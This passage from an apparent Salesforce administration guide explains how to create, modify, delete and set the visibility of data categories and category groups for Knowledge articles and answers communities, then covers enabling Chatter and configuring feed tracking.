• Modify existing categories. You can change a category's name, update its other attributes, move it to another location in
the hierarchy, or reorder categories alphabetically.
• Delete a category group. You can delete, restore, or permanently erase a category group.
• Delete a category. You can permanently remove any category.
• Translate categories. You can translate your categories with the languages you want to support.
• Hover over a category group to view its properties and see whether it is used in Salesforce Knowledge or an answers
community.

Note: By default, Salesforce Knowledge users and answers community members have access to all articles and questions
associated with any category. If you want to restrict access to articles and questions, you can modify visibility settings
for data categories.

See Also:
Creating and Modifying Category Groups
Deleting and Undeleting Category Groups
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Deleting Data Categories
Useful Salesforce Knowledge Terminology

1218
Customize Creating and Modifying Category Groups

Creating and Modifying Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Category groups can be used by Salesforce Knowledge (articles) or answers communities (questions). In both cases, category
groups are containers for individual data categories. For example, a Contracts category group might contain Fixed Price, Cost
Reimbursement, and Indefinite Delivery categories. For more information, see What are Data Categories? on page 1214
To create or edit a category group:

1. Click Setup ➤ Customize ➤ Data Categories.


2. To create a new category group, click Create New in the Category Groups section. By default, you can create a maximum
of five category groups and three active category groups. Contact salesforce.com to request additional category groups.
To edit an existing category group, hover your cursor over the category group name and then click the Edit Category

Group icon ( ).
3. Specify the Group Name. This name appears as the title of the category drop-down menu on the Article Management
and Articles tabs, and, if applicable, in the public knowledge base. The Group Name does not appear on the Answers tab.
4. Optionally, modify the Group Unique Name. This is a unique name used to identify the category group in the Web
services API.
5. Optionally, enter a description of the category group.
6. Click Save. You receive an email after the save process completes.

You can now add categories on page 1221 to your category group. When you create a new category group, Salesforce.com
automatically creates a top-level category in the group named All. Optionally, double-click All to rename it.

Activating Category Groups


When you add a new category group, it's deactivated by default and only displays on the administrative setup pages for Data
Categories and Roles. Keep your category groups deactivated to set up your category hierarchy and assign role-based category
visibility. Until you manually activate a category group, it does not display in Salesforce Knowledge or your answers community
In addition to activating the category group, for answers communities you must assign the category group to a community
before the categories are visible on the Answers tab.

1219
Customize Deleting and Undeleting Category Groups

To activate a category group so it is available to users, move the mouse pointer over the name of the category group and click
the Activate Category Group icon ( ).

See Also:
Managing Data Categories
Adding Data Categories to Category Groups
Deleting and Undeleting Category Groups
Managing Articles
About Category Group Visibility

Deleting and Undeleting Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Caution: Deleting a category group deletes all of its categories and removes all associations between the categories
and articles or questions. Read this entire topic carefully to understand the consequences of deleting category groups.

To delete a category group:

1. Click Setup ➤ Customize ➤ Data Categories.


2. Hover your cursor over the category group name.
3.
Click the Delete Category Group icon ( ).
4. Select the checkbox in the confirmation dialog, then click OK.

Consequences of Deleting Category Groups


Deleting a category group:
• Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but not edit
them. It holds category groups for 45 days before they are permanently erased and cannot be recovered. During the 45–day
holding period, you can either restore a category group, or permanently erase it immediately.
• Deletes all categories within that group.
• Removes all associations between the group's categories and articles or questions.
• Removes all associations between the group's categories and roles.
• As applicable, removes the category drop-down menu from the Articles tab in all channels, the Article Management tab,
and your company's public knowledge base.

1220
Customize Adding Data Categories to Category Groups

Undeleting Category Groups


To restore a deleted category group:
1. In the Removed Category Groups section, hover your cursor over the category group name.
2.
Click the Undelete Category Group icon ( ).
The category group moves to the Category Groups section as an inactive category group, and associations with articles,
questions, and roles are restored.

See Also:
Creating and Modifying Category Groups
Managing Data Categories

Adding Data Categories to Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help
users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions.
For more information, see What are Data Categories? on page 1214
By default, for each category group you can create up to 100 categories and organize those categories into up to five hierarchy
levels. To request additional categories or hierarchy levels, contact salesforce.com.
Note: Because only first-level data categories display on the Answers tab, when creating data categories for an answers
community ensure that the categories you want visible have a sibling relationship and not a parent-child relationship.

To add categories to a category group:

1. Click Setup ➤ Customize ➤ Data Categories.


2. Click the category group name.
3. Click a category that is directly above where you want to add a category (a parent), or at the same level (a sibling).
4. Click Actions, then select an action: Add Child Category or Add Sibling Category.
5. Enter a category name.
If possible, Salesforce.com automatically reuses the name you entered as the Category Unique Name, a system field
which the Web services API requires.
6. Click Add. Alternatively, press Enter.
7. Click Save.

1221
Customize Modifying and Positioning Data Categories

Tip: Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.

Tip: By default, all Salesforce Knowledge users and answers community members can see all categories within an
active category group. You can restrict category visibility after you have set up your data categories to ensure that users
only access articles and questions that you want them to see.

See Also:
Managing Data Categories
Modifying and Positioning Data Categories
Deleting Data Categories
Keyboard Shortcuts For Data Categories

Modifying and Positioning Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Caution: Modifying categories can result in long processing times, changes to the visibility of articles, changes to the
categorization of articles and questions, and other significant consequences. Read this entire topic carefully before
modifying categories.

To modify the data categories in a category group and their positions in the hierarchy:

1. Click Setup ➤ Customize ➤ Data Categories.


2. Click a category group name.
3. Optionally, click Expand All to display the full category hierarchy, or Collapse All to display only the top-level categories.
4. Double-click a category to edit its name or its unique API name.
5. Use drag-and-drop editing to reposition a category in the hierarchy. As you drag, a red icon indicates an invalid destination,
while a green icon indicates a valid destination:

• Drag a category on top of another category to reposition it as a child of the destination category. For example, drag
USA on top of North America to make USA one level below North America. After dragging, the category displays
below the other child categories at that level.
• Drag a category to a line that borders another category to reposition it as a sibling of that category. For example, to
position USA between Canada and Mexico, drag it to the line between Canada and Mexico.

1222
Customize Modifying and Positioning Data Categories

6. Hover your cursor over a category name, then choose Order Child Categories Alphabetically from the
Actions drop-down list to reorder that category's children in alphabetical order. This only affects the first level children,
not grandchildren or deeper levels.
7. As you modify the category hierarchy, click Undo to cancel your last actions. Similarly, click Redo to step forward through
your flow of performed actions.
8. Click Save. You will receive an email when the save process completes.
Tip: Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.

The save process recalculates the following:

• The contents of the category drop-down menu.


• The articles and questions visible to each role.
• The articles and questions associated with categories.

Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially
large and complex recalculations, it may take a long time to complete. During processing, users may experience
performance issues when searching for articles or questions or using category drop-down lists.

Example: How Changing the Hierarchy Affects Article Visibility


Changing the category hierarchy potentially changes which articles users can see. When a category moves to a new parent
category, roles that have no visibility on the new parent category lose their visibility to the repositioned category. In the example
shown in the following graphic, the category PDAs moves from the original parent category Computers to the new parent
category Consumer Electronics.

Figure 13: Moving the category “PDAs”

1223
Customize Modifying and Positioning Data Categories

To understand how this change affects which roles can see articles classified with the PDAs category, see the following table.

When my Could I see Can I see PDA Why?


role is PDA articles in articles in their
mapped to: their old new location under
location under Consumer
Computers? Electronics?
All products Yes Yes When your role is mapped to the top-level “All products” category,
you can see everything in the category hierarchy.
Computers Yes No You don't have access to the branch of the category hierarchy where
PDAs is now located.
Consumer No Yes PDAs has moved to the branch of the category hierarchy where you
Electronics have been granted access.

Example: How Changing the Hierarchy Affects Article Classification


Classifying an article with a parent category implicitly grants access to that category's children. You cannot explicitly apply
both a parent category and one of its children to an article. From the article edit page, selecting a parent category grays out its
child categories—you cannot select them in addition to the parent category. Salesforce.com respects this fact when you move
a category to a new parent. It prevents explicitly adding a child category to an article when the new parent category is already
present.
In the example depicted above, the category PDAs moves from the original parent category Computers to the new parent
category Consumer Electronics. As a result, articles' classifications may or may not change:
• Articles formerly classified with both Consumer Electronics and PDAs lose PDAs, because having Consumer Electronics
now implies having PDAs.
• Articles formerly classified with only Consumer Electronics but not PDAs do not change. Access to PDAs is now implied.
• Articles formerly classified with only PDAs, but not Consumer Electronics, retain PDAs.

See Also:
What are Data Categories?
Managing Data Categories
Adding Data Categories to Category Groups
Deleting Data Categories
Keyboard Shortcuts For Data Categories

1224
Customize Deleting Data Categories

Deleting Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Caution: Deleting categories can result in long processing times, changes to the visibility of articles and questions,
changes to the categorization of articles and questions, and other significant consequences. Read this entire topic
carefully before deleting categories.

To delete a category:

1. Click Setup ➤ Customize ➤ Data Categories.


2. Click a category group name.
3. Click a category name. If necessary, click Expand All to display all categories in the category group.
4. Press DELETE, or choose Delete Category from the Actions drop-down list.
5. Click OK in the confirmation dialog box.
6. Choose how you want to reclassify articles associated with the deleted category or the deleted category's children:

• Assign the deleted category's parent category.


• Assign a different category. You can select any other category in this category group.
Note: The category you select cannot be deleted itself before you save your work.

• Do not assign the articles a new category in this category group.

In all cases, the articles retain their categories from other category groups.
7. Click Save.

Deleting a category:

• Permanently removes it. It cannot be restored. It never appears in the Recycle Bin.
• Permanently deletes its child categories.
• As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles tab
in all channels, and your company's public knowledge base.
• Removes associations between the category and articles or questions. You can reassign articles and questions to another
category.
• Removes its mapping to a role. Users in the role lose their visibility to articles and answers associated with the deleted
category.

1225
Customize Keyboard Shortcuts For Data Categories

Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially
large and complex recalculations, it may take a long time to complete. During processing, users may experience
performance issues when searching for articles or questions or using category drop-down lists.

See Also:
What are Data Categories?
Managing Data Categories
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Keyboard Shortcuts For Data Categories

Keyboard Shortcuts For Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Use the following keyboard shortcuts to work quickly with data categories.

Task Action Keyboard Shortcut


Adding a category Add a sibling to the selected category ENTER
Add a child to the selected category ENTER+TAB
Close the Add Category field ESC
Save changes in the Add Category field ENTER
Modifying a category Open the Edit Category field for the selected category SPACEBAR
Close the Edit Category field. ESC
Save changes in the Edit Category field ENTER
Demoting or promoting a Demote a category down one level, as a child of the TAB
category sibling currently above it
Promote a category up one level, as a sibling to its SHIFT+TAB
current parent
Deleting a category Delete the selected category and its children DELETE
Navigating in the category Move the focus up in the category hierarchy UP ARROW
hierarchy

1226
Customize About Category Group Visibility

Task Action Keyboard Shortcut


Move the focus down in the category hierarchy DOWN ARROW
Collapse children in a parent category LEFT ARROW
Expand children in a parent category RIGHT ARROW
Canceling or repeating an Undo the last action CTRL+Z
action
Redo the last action CTRL+Y
Saving the changes Save the last changes in the category hierarchy CTRL+S

See Also:
Managing Data Categories
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Deleting Data Categories

About Category Group Visibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view role details: “View Setup and Configuration”
To edit and delete roles: “Manage Users”
To view users: “View Setup and Configuration”
To edit users: “Manage Users”
To view categories: “View Data Categories”

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

• Role-based category visibility


• Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.

1227
Customize About Category Group Visibility

Enforcement of Visibility Settings


To ensure that users obtain a wide range of relevant information, category group visibility is broadly interpreted. Setting a
category as visible makes that category and its entire directly related family line—ancestors, immediate parent, primary children,
other descendants—visible to users. For example, consider a Geography category group with continents such as Asia and
Europe at the top level, various countries at the second level, and cities at the third level. If France is the only visible category
selected, then you can see articles classified with Europe, France, and all French cities. In other words, you can see categories
that have a direct vertical relationship to France but you cannot see articles classified at or below Asia and the other continents.
Note: Only the first-level categories in the category group are visible on the Answers tab. In the Geography example,
only the continent categories appear on the Answers tab; therefore, if France is the category selected as visible in
category group visibility settings, community members can see questions classified with Europe.

Category group visibility settings are enforced on the Answers tab, the Article Management tab, the Articles tab in all channels
(internal app, partner portal, and Customer Portal), and the public knowledge base. In the following areas, users only see the
categories that their visibility settings allow:
• On the Article Management tab, when creating or editing articles
• On the Article Management tab and the Articles tab, the category drop-down menu for finding articles
• On the Answers tab, the categories listed below the community name

Initial Visibility Settings


If roles have not been set up, all users can see all data categories. If a role hierarchy exists but the category group visibility
settings have not been modified, all roles have access to all data categories. Users who are not assigned to a role only see
uncategorized articles and questions unless you make the associated categories visible by default. Role-based visibility settings
restrict default visibility settings; in other words, even if a data category is visible by default, it cannot be seen by a user whose
role restricts access to that data category.

Inheritance of Role-Based Visibility Settings


Child roles inherit their parent role's settings and are kept in sync with changes to the parent role. You can customize and
reduce the child role's visibility, but you cannot increase it to be greater than that of the parent role. By default, Customer
Portal users and partner portal users inherit the category group visibility settings assigned to their account managers. You can
change the category group visibility settings for each portal role. Because High-Volume Customer Portal users don't have
roles, you must designate default visibility settings before these users can view categorized articles and questions.

Visibility of Categorized Articles


A user can see an article if he or she can see at least one category per category group on the article. For example, consider an
article that is classified with California and Ohio in the Geography category group and Desktop in the Products category
group:
• If you have visibility on Ohio and Desktop (but not California), you can see the article.
• If you don't have visibility on either California or Ohio but do have visibility on Desktop, you do not see the article.
• If you have visibility on California but not Desktop, you do not see the article.

Revoked Visibility
A role's visibility can be revoked (set to None) for a particular category group. Users in the target role can only see articles and
questions that aren't classified with a category in that category group. For example, if a user's role has revoked visibility in the
Geography category group but visibility to the Products category group, he or she can only see articles that have no categories
in Geography and are classified with a category in Products. Because an answers community can only be assigned to one

1228
Customize Editing Role-Based Category Group Visibility

category group, if the Geography category group was assigned to the community and a member's role visibility was revoked
for that group, the member could only see uncategorized questions.

See Also:
What are Data Categories?
Editing Role-Based Category Group Visibility
Modifying Default Data Category Visibility
Examples of Category Group Visibility Settings for Articles
Viewing Category Group Visibility on Roles

Editing Role-Based Category Group Visibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view role details: “View Setup and Configuration”
To edit and delete roles: “Manage Users”
To view users: “View Setup and Configuration”
To edit users: “Manage Users”
To view categories: “View Data Categories”

Watch a Demo (2 minutes)


In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

• Role-based category visibility


• Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To edit a role's category group visibility setting:

1. Click Setup ➤ Manage Users ➤ Role and select a role. If the role is for a Customer Portal or partner portal user, click
Setup ➤ Manage Users ➤ Users and click the name of the role.
2. In the Category Group Visibility Settings related list, click Edit next to the category group you want to modify. Alternatively,
click the name of a category group and then click Edit.

1229
Customize Editing Role-Based Category Group Visibility

3. Select a visibility setting:

Visibility Setting Description


All Users can see all categories in the category group. This option is only available for the topmost role
in the role hierarchy. When you create a new category group, its visibility is defaulted to All for
the topmost role in the role hierarchy, and all subordinate roles inherit that setting.
Inherited The role inherits its parent role's visibility settings. If the parent role's settings change, the child
from... role stays in sync. Click the name of the parent role to see its category group visibility settings.
None Users cannot see any categories in the category group.
Custom Users see your custom selection of categories. You can choose from the categories that are visible
to the parent role. If the parent role's visibility changes to be less than its child's visibility, the child
role's category visibility is reset to its parent's category visibility.
To select categories, double-click the category in the Available Categories box. Alternatively,
select a category and then click Add. Selecting a category implicitly includes its child and parent
categories as well. Categories that are grayed out in the All Categories box are not available for
selection because their parent has already been selected.
Note: If you are customizing a role that was previously set to All Categories, you must first
remove All from the Selected Categories box before you can select specific categories.

4. Click Save.

Implementation Tips
• When you create a new category group, its visibility is defaulted to All for the topmost role in the role hierarchy, and all
subordinate roles inherit that setting.
• When you add a category to a role's visibility, you also grant visibility to its child and parent categories. If you want to give
a role access to all categories in a branch of the category hierarchy, select the top level category All Categories.
• Users who are not assigned to a role can only see uncategorized articles and questions unless:
- The user is an administrator who has the “View all Data” profile permission
- A category group has been made visible to all no-role users on the Setup ➤ Customize ➤ Data Categories ➤ Category
Group Visibility page.

• By default, Customer Portal users and partner portal users inherit the role assigned to their account managers. You can
change the category group visibility settings for each portal role.

Best Practices
• Keep your category groups deactivated to set up your category hierarchy and assign role-based category visibility. Until you
manually activate a category group, it does not display in Salesforce Knowledge or your answers community

1230
Customize Modifying Default Data Category Visibility

• Always set up category group visibility in a top-down approach from the top of the role hierarchy down to the bottom.
Give the highest roles the most visibility and give subordinate roles reduced visibility.

See Also:
Managing Data Categories
About Category Group Visibility
Examples of Category Group Visibility Settings for Articles

Modifying Default Data Category Visibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view categories: “View Data Categories”
To manage data categories: “Manage Data Categories”
To assign default category groups: “Manage Data Categories”

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

• Role-based category visibility


• Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To modify the default visibility for data categories:

1. Click Setup ➤ Customize ➤ Data Categories ➤ Default Data Category Visibility. All active and inactive category
groups are listed.
2. Pick a category group and click Edit.
3. Choose All to make all the categories in the category group visible by default, None to make none of the categories visible
by default, or Custom to make some of the categories visible by default.
4. If you chose Custom, move categories from the Available Categories area to the Selected Categories area as needed.
Selecting a category implicitly includes its child and parent categories as well. Move categories from the Selected Categories
area back to the Available Categories area to remove default visibility.

1231
Customize Viewing Category Group Visibility on Roles

For important information about how visibility settings are applied, see About Category Group Visibility on page 1227.

See Also:
What are Data Categories?
About Category Group Visibility
How Category Visibility Differs from Other Salesforce.com Models

Viewing Category Group Visibility on Roles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view role details: “View Setup and Configuration”
To edit and delete roles: “Manage Users”
To view users: “View Setup and Configuration”
To edit users: “Manage Users”
To view categories: “View Data Categories”

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

• Role-based category visibility


• Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To understand the settings and their impact, see About Category Group Visibility on page 1227.

Viewing a Role's Category Group Visibility


To view a role's category visibility setting, click Setup ➤ Manage Users ➤ Roles, and select a role. To view the category
visibility settings for a Customer Portal or partner portal role, click Setup ➤ Manage Users ➤ Users and click the name of
the role.
The Category Group Visibility Settings related list summarizes which categories users in the role can see, according to category
group. The following table explains the possible values in the Visibility column of the related list:

1232
Customize How Category Visibility Differs from Other Salesforce.com Models

Visibility Description
All Users can see all categories in the category group. This option
is only available for the topmost role in the role hierarchy.
When you create a new category group, its visibility is
defaulted to All for the topmost role in the role hierarchy,
and all subordinate roles inherit that setting.
Inherited from... The role inherits its parent role's visibility settings. If the
parent role's settings change, the child role stays in sync. Click
the name of the parent role to see its category group visibility
settings.
None Users cannot see any categories in the category group.
Custom Users can view a selection of categories in the category group.

In the Category Group Visibility Settings related list, you can:


• Click a category group to view its setting details.
• Click Edit next to a category group to modify its visibility settings.

See Also:
Managing Data Categories
About Category Group Visibility
Editing Role-Based Category Group Visibility
Examples of Category Group Visibility Settings for Articles

How Category Visibility Differs from Other Salesforce.com


Models
Available in: Enterprise, Unlimited, and Developer Editions

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

• Role-based category visibility


• Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
These settings are unique to articles and questions and differ from other Salesforce.com models:

1233
Customize Examples of Category Group Visibility Settings for Articles

Exclusive to articles and questions


Access to articles and questions are determined by category group visibility settings. Although they are standard objects,
articles and questions do not have organization-wide defaults, sharing rules, manual record sharing, or object-level
permissions like “Create” or “Read.”

Role-based access
Category group visibility settings are based on roles. Child roles cannot see more categories than their parent role. To
change a user's visibility to categories and therefore categorized articles and questions, you must change the visibility
settings for the user's current role, move the user to a different role, or, if the user doesn't have a role, make certain
categories visible to all users.

Broad interpretation of visibility settings

To ensure that users obtain a wide range of relevant information, category group visibility is broadly interpreted. Setting
a category as visible makes that category and its entire directly related family line—ancestors, immediate parent, primary
children, other descendants—visible to users. For example, consider a Geography category group with continents such
as Asia and Europe at the top level, various countries at the second level, and cities at the third level. If France is the
only visible category selected, then you can see articles classified with Europe, France, and all French cities. In other
words, you can see categories that have a direct vertical relationship to France but you cannot see articles classified at or
below Asia and the other continents.
Note: Only the first-level categories in the category group are visible on the Answers tab. In the Geography
example, only the continent categories appear on the Answers tab; therefore, if France is the category selected
as visible in category group visibility settings, community members can see questions classified with Europe.

See Also:
Managing Data Categories
About Category Group Visibility
Viewing Category Group Visibility on Roles
Editing Role-Based Category Group Visibility
Examples of Category Group Visibility Settings for Articles

Examples of Category Group Visibility Settings for Articles


Available in: Enterprise, Unlimited, and Developer Editions

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

• Role-based category visibility


• Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default

1234
Customize Examples of Category Group Visibility Settings for Articles

category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
These examples are based on two sample category groups, Products and Geography:
Note: Although category group visiblity settings are available with answers communities (questions) and Salesforce
Knowledge (articles), the examples below apply to articles only. Answers communities support one category group
and one data category per question.

Products Category Group

• All Products

- Consumer Electronics

- Cameras
- Audio
- Printers

- Enterprise Electronics

- Routers
- Switches
- PEX

- Computers

- Laptops
- Desktops
- PDAs

Geography Category Group

• All Countries
- Americas

- USA
- Canada
- Brazil

- Asia

- China
- Japan
- India

- Europe

- France
- United Kingdom

1235
Customize Examples of Category Group Visibility Settings for Articles

- Poland

Example 1: A Role Hierarchy


In this example, the Acme Electronics organization manufactures hardware and provides customer support for both consumers
and enterprises. The Engineering department is organized by products. The Support department is organized geographically.
Europe and the Americas are managed by corporate teams, but Asia is outsourced. Within the corporate and outsourced teams,
there are subteams dedicated either to consumer or enterprise support.
The table below shows the categories visible to each role in the Acme Electronics organization, and states whether the visibility
settings are inherited from the parent role or custom.

Acme Electronics Role Hierarchy Visible Geographic Categories Visible Product Categories
CEO All Countries All Products
VP of Engineering All Countries All Products
Inherit from CEO Inherit from CEO

Consumer Engineering All Countries Consumer Electronics


Team
Inherit from VP of Engineering Custom

Enterprise Engineering All Countries Enterprise Electronics


Team
Inherit from VP of Engineering Custom

Computers Engineering All Countries Computers


Team
Inherit from VP of Engineering Custom

VP of Support All Countries All Products


Inherit from CEO Inherit from CEO

VP of Corporate Support Europe, America All Products


Custom Inherit from VP of Support

Director of Corporate Europe, America Consumer Electronics, Computers


Consumer Support
Inherit from VP of Corporate Support Custom

Director of Corporate Europe, America Enterprise Electronics, Computers


Enterprise Support
Inherit from VP of Corporate Support Custom

Outsourced Support Asia All Products


Custom Inherit from VP of Support

Consumer Support Team Asia Consumer Electronics, Computers


Inherit from Outsourced Support Custom

Enterprise Support Team Asia Enterprise Electronics, Computers


Inherit from Outsourced Support Custom

1236
Customize Examples of Category Group Visibility Settings for Articles

Example 2: Article Visibility


The table below is an in-depth example of how category visibility settings restrict what users see. This example has three
sample users whose category settings are noted in parentheses.

Table 1: Example: How Category Visibility Settings Restrict What Users See

Categories When User 1's visibility isAll When User 2's visibilty When User 3's visibility is
countries/Computers, the isAmerica/All products, the France/None, the category
category is: category is: is:
All countries/Laptop VISIBLE VISIBLE NOT VISIBLE
Canada/Computers VISIBLE VISIBLE NOT VISIBLE
USA/All products VISIBLE VISIBLE NOT VISIBLE
Europe/Switches NOT VISIBLE NOT VISIBLE NOT VISIBLE
Europe/No Categories VISIBLE NOT VISIBLE VISIBLE

User 1: The user's role must be granted visibility in each category that classifies the article, or each category that classifies the
article must be visible by default.In this example, User 1 can see Europe, because Europe is the child of All Countries, but he
cannot see Switches, because Switches does not belong to Computers. That's why User 1 cannot see articles classified with
Europe/Switches.
User 2: When a category is made visible to a role or is made visible by default, its child and parent categories are implicitly
included; therefore, User 2 can see articles categorized with All Countries because it is the parent category of America. He
can also see Articles classified with USA because it is the child of America.
User 3: If a role has no access to the whole category group, he can only see articles that are not categorized in that group. User
3 cannot see the articles categorized with All countries/Laptop because he has no visibility in the category group that includes
Laptop, but he can see articles categorized with Europe/No categories.

See Also:
Managing Data Categories
About Category Group Visibility
Viewing Category Group Visibility on Roles
Editing Role-Based Category Group Visibility
How Category Visibility Differs from Other Salesforce.com Models

1237
Customize Setting Up Salesforce Chatter

SALESFORCE CHATTER

Setting Up Salesforce Chatter


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To enable Salesforce Chatter: “Customize Application”

To set up Salesforce Chatter, an administrator must:

1. Enable and configure Salesforce Chatter.


2. Customize feed tracking for objects and fields tracked in Chatter feeds.
3. Optionally add the People, Profile, and Groups tabs to standard and custom apps so users can see these tabs in their apps.
Note: The People, Profile and Groups tabs are available by default in the Salesforce Chatter app.

See Also:
Using Salesforce Chatter
Salesforce Chatter FAQ

Enabling Chatter
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To enable Salesforce Chatter: “Customize Application”

Enable Salesforce Chatter to turn on Chatter feeds, groups, and profiles so people in your organization can collaborate with
each other in real time.
Note: Salesforce Chatter is enabled by default for organizations created after June 22, 2010. Existing organizations
must enable Salesforce Chatter.

1238
Customize Customizing Chatter Feed Tracking

1. Click Setup ➤ Customize ➤ Chatter ➤ Settings.


2. Click Edit.
3. Select Enable.
4. Optionally select Allow Emails so users can choose to receive email notifications about Salesforce Chatter updates.
5. Click Save.

Consider the following tips for enabling Salesforce Chatter:

• Enabling Salesforce Chatter also enables the new user interface theme, which updates the look and feel of Salesforce.com.
• When Chatter is enabled for organizations with 15 or fewer users, all users automatically follow each other.
• After enabling Salesforce Chatter for your organization, you can also enable it for the mobile application so users can access
their feeds from an iPhone or BlackBerry device. Salesforce Chatter doesn't require setup for Mobile Lite users; however,
you must enable Salesforce Chatter for Salesforce Mobile users by including the News Feed object in your mobile
configurations' data sets.

See Also:
Salesforce Chatter Overview
Setting Up Salesforce Chatter
Using Salesforce Chatter
Salesforce Chatter FAQ

Customizing Chatter Feed Tracking


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To customize fields tracked in feeds: “Customize Application”
To view the field tracking setup page: “View Setup and Configuration”

Feed tracking is available for objects and fields:

• Enable objects for feed tracking so people can follow records of that object type and see Chatter feed updates when records
of that object type are created. For example, if you enable the account object, people can follow account records and will
see feed updates when they create accounts. Additionally, enabling feed tracking for leads allows people to see Chatter
feed updates when leads are converted.
• Enable fields for feed tracking so people can see Chatter feed updates about changes to fields on records they follow. For
example, if you enable the Billing Address field on accounts, people will see updates when Billing Address is
changed on accounts they follow.

Sharing rules and field-level security determine visibility of record changes in Chatter feeds; you must be able to see a record
in order to see changes to that record in feeds.
You can configure feed tracking for users, Chatter groups, custom objects, and the following standard objects: accounts, article
types, assets, campaigns, cases, contacts, contracts, leads, opportunities, products, and solutions.

1239
Customize Customizing Chatter Feed Tracking

1. Click Setup ➤ Customize ➤ Chatter ➤ Feed Tracking.


2. Select an object.
3. Select Enable Feed Tracking. The user and Chatter group objects don't have this checkbox.
4. Select up to 20 fields to track. You can't select fields for article types.
5. Click Save.
6. Optionally repeat steps 2 through 5 for additional objects.

Consider the following feed tracking tips:

• To stop tracking an object, deselect Enable Feed Tracking. You can't disable feed tracking for the user or Chatter
group objects.
• You must track the owner field to enable a new record owner to automatically follow that record. For example, if the
Account Owner field isn't tracked and someone changes the owner of an account , the new owner won't automatically
follow the account.
• To restore the default feed tracking settings for an object, click Restore Defaults.
• If leads are tracked, but accounts, contacts, or opportunities are not, users won't be able to follow or see updates related to
the accounts, contacts, and opportunities created during lead conversion.
• The following standard field types can't be tracked:

- Auto-number, formula, and roll-up summary fields


- Encrypted and read-only system fields
- The Expected Revenue field on opportunities
- The Solution Title and Solution Details fields on solutions; these fields display only for translated solutions
in organizations with multilingual solutions enabled

See Also:
Chatter Feeds Overview
Using Chatter Feeds
Enabling Chatter

1240
Customize Customizing Tag Settings

TAG SETTINGS

Customizing Tag Settings


Tag settings available in: All Editions

User Permissions Needed


To modify tag settings: “Customize Application”

Administrators can use the following tools to set up and manage personal and public tags:

• Tag Settings—Enable personal and public tags for accounts, activities, assets, campaigns, cases, contacts, contracts,
